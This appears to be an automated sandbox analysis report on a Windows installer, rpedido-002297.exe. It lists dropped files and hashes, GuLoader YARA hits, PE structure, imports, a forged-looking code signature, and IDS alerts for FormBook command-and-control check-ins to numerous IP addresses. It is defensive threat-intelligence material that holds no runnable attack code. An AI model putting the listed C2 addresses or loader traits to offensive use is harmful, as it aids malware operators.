SHA-512:	F12D2C7B70E898ABEFA35FEBBDC28D264FCA071D66106AC83F8FC58F40578387858F364C838E69FE8FC66645190E1CB2B4B63791DDF77955A1C376424611A85D
Malicious:	false
Reputation:	low
Preview:	SQLite format 3......@ .......;...........R......................................................S`...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nspC5B.tmp\System.dll

Process:	C:\Users\user\Desktop\rpedido-002297.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.659384359264642
Encrypted:	false
SSDEEP:	192:ex24sihno00Wfl97nH6BenXwWobpWBTtvShJ5omi7dJWjOlESlS:h8QIl972eXqlWBFSt273YOlEz
MD5:	8B3830B9DBF87F84DDD3B26645FED3A0
SHA1:	223BEF1F19E644A610A0877D01EADC9E28299509
SHA-256:	F004C568D305CD95EDBD704166FCD2849D395B595DFF814BCC2012693527AC37
SHA-512:	D13CFD98DB5CA8DC9C15723EEE0E7454975078A776BCE26247228BE4603A0217E166058EBADC68090AFE988862B7514CB8CB84DE13B3DE35737412A6F0A8AC03
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: FACTURA-002297.exe, Detection: malicious, Browse Filename: FACTURA-002297.exe, Detection: malicious, Browse Filename: LisectAVT_2403002A_41.exe, Detection: malicious, Browse Filename: LisectAVT_2403002A_41.exe, Detection: malicious, Browse Filename: Inventory_list.img.exe, Detection: malicious, Browse Filename: Inventory_list.img.exe, Detection: malicious, Browse Filename: sF2s1EQU7T.exe, Detection: malicious, Browse Filename: sF2s1EQU7T.exe, Detection: malicious, Browse Filename: xerox322200524.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....uY...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..`....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nss65F.tmp

Process:	C:\Users\user\Desktop\rpedido-002297.exe
File Type:	data
Category:	dropped
Size (bytes):	1346011
Entropy (8bit):	3.8242196193001483
Encrypted:	false
SSDEEP:	12288:Vbw1KkaCo1+UHkeZwNhDgfZ0SUQIlDU0A0K:qiEZTDUrR
MD5:	061C4C9090B9BC3D5D4EAA6DB41EB17E
SHA1:	985BB0600F3247B7B09A6E1817DB6FF7CE6085CC
SHA-256:	A520D64C82FDC201360B6C7FD089D156DBDA2F2642464D2C9DAD774599891FD1
SHA-512:	A03F425BAE18D321C8969889D4AABB7D9C3EA60A6C7FBF29C60074598191DA005FFB3CD6D9C838A7A21A901C89F7E593E9D1B36878A5436FF52B9342999BB271
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: C:\Users\user\AppData\Local\Temp\nss65F.tmp, Author: Joe Security
Preview:	.8......,.......................().......8.......8..........................................................................................................................................................................................................................................G...J...........b...j...............................................................................................................................U...............(.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Sarcocol\Betalingsunderskud.Smm

Process:	C:\Users\user\Desktop\rpedido-002297.exe
File Type:	data
Category:	dropped
Size (bytes):	198765
Entropy (8bit):	7.537912642885987
Encrypted:	false
SSDEEP:	3072:uR0DAmxNwraiNN+kTsdoA2lk0XVaCsDpl+mKFUk/O+mJkxbFxh7nQwMYMfv1h:pUmxNwfNKqVVaCsVlOW+0sQrz1h
MD5:	4C93C9DA5C351928E690BA82E7EA51ED
SHA1:	DBFC7EAB1B5446EF9A4C6673ECD6DA0AED7DF929
SHA-256:	C80BC0A5CD1C7295E310D27454C2CD1438F062297F12433564837FE39C32F479
SHA-512:	399434F31EDE0992F21DE34321BED26D85AF9A4F0B065C9922323407EC1F81A2C3E833BFF8D2EB35EDCDBD9ECFC9C84D7BF5459F0924AD5B3604C99AF24E5746
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GuLoader_5, Description: Yara detected GuLoader, Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Sarcocol\Betalingsunderskud.Smm, Author: Joe Security
Preview:	..............FF..............4.=...........D.....a....................&&....[......................@@@@@@@.J...................___.q.....).8.......................@.....333.....}}}}}}.......7777...._...NNN.......[.....2.......II....................'."""............j.....).............Z...............=.......&&......................aa.....D...===.99....f.ffff.........................%.--.3..............".......YYYY...:.b.................###.................C........f..&.;..............33..........#.D...s............w............1......n......ss....&&&.......LL.P.E.k......<..XXX.........ww.Y..**....RRR......cccc.................................S.....ppp......k...........p........QQ.....JJJJJ...............W...........8.......}}...........zz..............__....................................-.rr....MMMMM.......````.............\|.....I............mm...BB................G...........<<.j.....jj............s........Z....B................!....//........====......888. .......................w

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Sarcocol\bushers.txt

Process:	C:\Users\user\Desktop\rpedido-002297.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	523
Entropy (8bit):	4.30492942039079
Encrypted:	false
SSDEEP:	12:nGy3qcf5opzE6vCdgLMc/Uqv7FE7KRbqYUH6uN0u8vM:GEpxoy6adY/UqvZEwbql6uNh
MD5:	B33890A43FB0F38B6DDF18C5BCEFE234
SHA1:	80ED178A92C2B5CB530AEE4673FFC9011EBF86BB
SHA-256:	3BF02F982A76A4C896FDA78C1C4B2B730D690DD86475213DC415269D4629407B
SHA-512:	169E2D067337BF05BA08D615CE61B28CA4FD93D204966B3386FB4B373D9BACD689BEE3DDC5E04A4F19586E585263F62BC40B0944A10E5867C63C9C7236A5CC48
Malicious:	false
Preview:	clisiocampa percussing acronyctous petitesses pilgrimsrejser zygosphene miasmology konkyljens..labelable kraftls veneries symbolically duncan sulemadens,logopdisk genuinenesses pseudoinspirational bekenderen.franciscanism krftcellers drylots toksikologiskes rottegiftes impecuniary slisken autokratiets hjertebaandet banegaardsbygningen choenix..adrenocorticotropic mangfoldigheders avisudvikling ekstremitetens skamsloges nrede unpersuasion trachling tvrformatets..negerbolle suppressionen lustful bagels flamenco selrets,

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Sarcocol\driegh.Con

Process:	C:\Users\user\Desktop\rpedido-002297.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	445666
Entropy (8bit):	2.644519275096578
Encrypted:	false
SSDEEP:	1536:jcOEWRDhfuU13yxwqLrAXH0H62PNH+slLE4QBF0GtpzkyzoG0QNRVE3kN0hViJam:HeZwNhQQuzfQ0Abmj1lY0dNLUMDIE/ZY
MD5:	6D112D7139DA3C2B95E45A9885B68A26
SHA1:	5174E64719CEACCD6C36A7A69E42E03A3217304E
SHA-256:	131426A455A67F672FD3CC645DAFF157271EA00BD7F9251DC11616E505FB8363
SHA-512:	8760B49D141524F78BAC8F4346A96E1956B191A4FD5367E66B8368E208C0BF8AEB19491DA5253152127C07DBC921089C6558CA01FE477DBAD80EA366A7E9C8A7
Malicious:	false
Preview:	00001313131313001616000000009800A6A6A6000000BA00999999990000007600EE0000B1B1B1000000CA0053000000B7B700313100262600170000005E005B0000F300006B0000001E00030000ECECEC0000DB0000D90014141400EE00A5009C9C0000000000EAEA00000000A20000B80000F0009E9E009999999900000000AC0077006D6D006A6A6A6A001200141400818181810000007B7B7B00000000009B0000000202001F0000AE00BFBF006E00A1A1A100008F8F8F0000E30000BD004F0000001600EB0000BDBD0000BBBB0000E1E100000000D00000B9B900000000000000F800007B7B7B7B0000001300EF001111006500000000000000000000757500FD008100000000002B00000000AE00D10033002300A8A8A8A8A8A800646464000000150000000000060606000000000000000A0A0A002B2B00111111111100EF00002C2C0000B0B0001300A80000D70000004E0000005C5C0000ABAB00000000000039001000001C002B0000008800737300000000F60000000000000000B20000007A00000000C4C40000007600000000000000003C0000B0B000007D00002F0048480000CACA008D8D8D8D003E3E3E3E0006060000141414005D0073000000AF002B00000000670000180079797900E8004F0000000000393900140000000000C200000000EAEAEA000000C5C5C5C50000

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Sarcocol\meropidae.kej

Process:	C:\Users\user\Desktop\rpedido-002297.exe
File Type:	data
Category:	dropped
Size (bytes):	276551
Entropy (8bit):	1.2459972317120458
Encrypted:	false
SSDEEP:	768:q5eLWls2nEEvz9mAEPesDf7zRhfRKrtTgtOnumyYJBW+JAILJcqhOzwnasNP2r2J:q86nLDJnJuki2BaFsfRz
MD5:	0071DC51C79F0655F0BB77074D56B1D7
SHA1:	9617AE1434B07532BAAF39D69CF720C05B85E8F9
SHA-256:	0628FA8F44795D79D5B855E8387985E04D134E8B57FE4D57E663FBAED278DF89
SHA-512:	E2149E9F3B18DCB50E49EC51226D7A6BF3969E119B385410E80E431024B25A938C965C743D80C0C1D8A3820D0DDDA14464CAC75F73AE22F259B447264F8431BA
Malicious:	false
Preview:	........................................................#..................................................................................E........R...............................]......................W...\......O.........................................$9......4.............................;..........X........................Z........"..............................................................................;..........U.....................^.....................l.......................3...................~............u.........................................e......P..................................H..............................................................................2.........2.................>....................................................................................................................+.......z....................A..$.........................................................................................]........?..............................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Eddadigtet\Sarcocol\plastron.ori

Process:	C:\Users\user\Desktop\rpedido-002297.exe
File Type:	data
Category:	dropped
Size (bytes):	398154
Entropy (8bit):	1.2543435533086644
Encrypted:	false
SSDEEP:	1536:8IfJmHKeJzuGrd0myk0Ek5rFnJd62xZ9WEmaslkcO:8omHKAJR0T8axr
MD5:	7BA8E260D6477B4FD16DAE2D14EA4482
SHA1:	16873CB5BFBA899D4ED937603AA9980F119695D6
SHA-256:	C19F7B3F1A20E1529113EE69AA53DB6E124A51F03098E6FB6AF0E76037C85B8B
SHA-512:	ECAA786515C73B08A44C22FD48B205166611750EC633849823A88BBF95A675CA29FB7F22E652EFCFC055FC92F8381FC6276F4B732F91612A2385BF670131FFF2
Malicious:	false
Preview:	...................z...................................................1........................................T.......r...........................'......................O..................\|......P.................................0.....................................).......................l.............S..^......Z.........E.................................{.....................................................................................................................................................................$...........*................................................D........y....................................0..........\|........m............................G.............Q...........>...s.......C...................................................".....................................................................+.......................L...6.......................................................................`.................................k.....................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Gaulin.ini

Process:	C:\Users\user\Desktop\rpedido-002297.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	37
Entropy (8bit):	4.046762824854522
Encrypted:	false
SSDEEP:	3:lgov8fOMy:XHB
MD5:	CFDA8E6AADE7958F94A959BDB29CB209
SHA1:	59C459E105A7AF33D13A365F735E3CB7B8E5DDB0
SHA-256:	B4543E8AB4997934D2EDC7DE8A76A24B7C2CCB641212AE3B9B17FE05B71D3E87
SHA-512:	EDFDCA00667ED3A5558F7E614373F0B8393763A979154666972C659CB44E75CCD51170E4E2189043046EB4DDB8A68642BBDB6F98A0E494E76E86FAAF14F993B2
Malicious:	false
Preview:	[xanthippe]..sikkerhedsgraden=preve..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.219442739539247
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	rpedido-002297.exe
File size:	568'824 bytes
MD5:	e7b674773e7c72426b2bcc90a9c1e299
SHA1:	174323edc68682341dd312095cefaa2c6680de24
SHA256:	643a505fefdbf1f0fa9915550a75b2b739aba1683858f92f332c9585c838690d
SHA512:	88775e285072fd73cc42eb162b30f81197830befe7751529b4dc3a4d021571a17b90323805236149683097850916cc534205467ed0f584f67cb79b029f771ddb
SSDEEP:	12288:TaIq2S5iC8dHsPeOXHO80cE6PU2dLkbdG0A:WrJ8MLXHO8ZE6PU4IdGb
TLSH:	4FC4DF972EC2D9CFC8270A7099E6B2B5B1F1ADF1A643690727737EF82D30E505E01619
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L.....uY.................d...*.....

File Icon


Icon Hash:	5ce633391c1c0601

Static PE Info

General

Entrypoint:	0x403489
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5975952E [Mon Jul 24 06:35:26 2017 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1f23f452093b5c1ff091a2f9fb4fa3e9

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN="Sulfovaskemiddel Tykhana ", E=Streetful@Bortgaaedes.Po, L=Courbette, S=Bourgogne-Franche-Comt\xe9, C=FR
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	07/05/2024 05:28:58 07/05/2027 05:28:58
Subject Chain	CN="Sulfovaskemiddel Tykhana ", E=Streetful@Bortgaaedes.Po, L=Courbette, S=Bourgogne-Franche-Comt\xe9, C=FR
Version:	3
Thumbprint MD5:	8D8A5E9B27AF14CC78A962B0E6287BD6
Thumbprint SHA-1:	0CF7CEDD6333F6A0799CBCE32454F78399C01C2E
Thumbprint SHA-256:	ED9331A6F0D286D1CB8E1D1278848E8667318231C08BAE2E3058778A3C1CEC00
Serial:	1A928A8C029B6ADD43B9E2654B40EA557296603B

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080ACh]
call dword ptr [004080A8h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A24Ch], eax
je 00007F697C928263h
push ebx
call 00007F697C92B511h
cmp eax, ebx
je 00007F697C928259h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007F697C92B48Bh
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007F697C92823Ch
push 0000000Ah
call 00007F697C92B4E4h
push 00000008h
call 00007F697C92B4DDh
push 00000006h
mov dword ptr [0042A244h], eax
call 00007F697C92B4D1h
cmp eax, ebx
je 00007F697C928261h
push 0000001Eh
call eax
test eax, eax
je 00007F697C928259h
or byte ptr [0042A24Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0042A318h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x84fc	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x57000	0x220b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x89a48	0x13b0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x63d1	0x6400	139645791b76bd6f7b8c4472edbbdfe5	False	0.66515625	data	6.479451209065	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x138e	0x1400	007eff248f0493620a3fd3f7cadc755b	False	0.45	data	5.143831732151552	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20358	0x600	ec5bcec782f43a3fb7e8dfbe0d0db4db	False	0.501953125	data	4.000739070159718	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x2c000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x57000	0x220b8	0x22200	30cc4d5ad2d805f600d8d9358a38829a	False	0.1827066163003663	data	2.9689436080399076	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x572c8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States	0.14975452502070272
RT_ICON	0x67af0	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864	English	United States	0.18344019339920117
RT_ICON	0x70f98	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	United States	0.21953235710911667
RT_ICON	0x751c0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States	0.2731327800829875
RT_ICON	0x77768	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States	0.3428705440900563
RT_DIALOG	0x78810	0x120	data	English	United States	0.5138888888888888
RT_DIALOG	0x78930	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x78a50	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x78b18	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x78b78	0x4c	data	English	United States	0.8026315789473685
RT_VERSION	0x78bc8	0x1b0	data	English	United States	0.5601851851851852
RT_MANIFEST	0x78d78	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	ExitProcess, SetFileAttributesW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, SetCurrentDirectoryW, GetFileAttributesW, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, GetShortPathNameW, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalUnlock, GetDiskFreeSpaceW, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-03T18:10:10.590347+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49752	104.223.44.195	80	TCP
2024-10-03T18:10:10.590347+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49772	65.21.196.90	80	TCP
2024-10-03T18:10:37.553393+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.11.20	49722	142.250.80.78	443	TCP
2024-10-03T18:11:24.795846+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49725	5.39.10.93	80	TCP
2024-10-03T18:11:24.795846+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49725	5.39.10.93	80	TCP
2024-10-03T18:11:41.401943+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49726	162.250.125.14	80	TCP
2024-10-03T18:11:44.034514+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49727	162.250.125.14	80	TCP
2024-10-03T18:11:46.599387+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49728	162.250.125.14	80	TCP
2024-10-03T18:11:49.138656+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49729	162.250.125.14	80	TCP
2024-10-03T18:11:49.138656+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49729	162.250.125.14	80	TCP
2024-10-03T18:11:54.873713+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49730	156.227.17.86	80	TCP
2024-10-03T18:11:57.719657+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49731	156.227.17.86	80	TCP
2024-10-03T18:12:00.538502+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49732	156.227.17.86	80	TCP
2024-10-03T18:12:03.370287+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49733	156.227.17.86	80	TCP
2024-10-03T18:12:03.370287+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49733	156.227.17.86	80	TCP
2024-10-03T18:12:08.987302+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49734	64.225.91.73	80	TCP
2024-10-03T18:12:11.678097+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49735	64.225.91.73	80	TCP
2024-10-03T18:12:14.366809+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49736	64.225.91.73	80	TCP
2024-10-03T18:12:17.052390+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49737	64.225.91.73	80	TCP
2024-10-03T18:12:17.052390+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49737	64.225.91.73	80	TCP
2024-10-03T18:12:22.539029+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49738	209.74.64.189	80	TCP
2024-10-03T18:12:25.235503+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49739	209.74.64.189	80	TCP
2024-10-03T18:12:27.943489+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49740	209.74.64.189	80	TCP
2024-10-03T18:12:30.638673+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49741	209.74.64.189	80	TCP
2024-10-03T18:12:30.638673+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49741	209.74.64.189	80	TCP
2024-10-03T18:12:37.939553+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49742	85.159.66.93	80	TCP
2024-10-03T18:12:40.688939+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49743	85.159.66.93	80	TCP
2024-10-03T18:12:43.438411+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49744	85.159.66.93	80	TCP
2024-10-03T18:12:44.883739+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49745	85.159.66.93	80	TCP
2024-10-03T18:12:44.883739+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49745	85.159.66.93	80	TCP
2024-10-03T18:12:50.276211+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49746	3.33.130.190	80	TCP
2024-10-03T18:12:52.914407+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49747	3.33.130.190	80	TCP
2024-10-03T18:12:56.456719+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49748	3.33.130.190	80	TCP
2024-10-03T18:12:58.191342+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49749	3.33.130.190	80	TCP
2024-10-03T18:12:58.191342+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49749	3.33.130.190	80	TCP
2024-10-03T18:13:03.599194+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49750	104.223.44.195	80	TCP
2024-10-03T18:13:06.271986+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49751	104.223.44.195	80	TCP
2024-10-03T18:13:11.608069+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49753	104.223.44.195	80	TCP
2024-10-03T18:13:11.608069+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49753	104.223.44.195	80	TCP
2024-10-03T18:13:17.938839+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49754	3.33.130.190	80	TCP
2024-10-03T18:13:21.490688+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49755	3.33.130.190	80	TCP
2024-10-03T18:13:23.219572+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49756	3.33.130.190	80	TCP
2024-10-03T18:13:26.761626+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49757	3.33.130.190	80	TCP
2024-10-03T18:13:26.761626+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49757	3.33.130.190	80	TCP
2024-10-03T18:13:34.130397+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49758	103.149.183.47	80	TCP
2024-10-03T18:13:37.004763+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49759	103.149.183.47	80	TCP
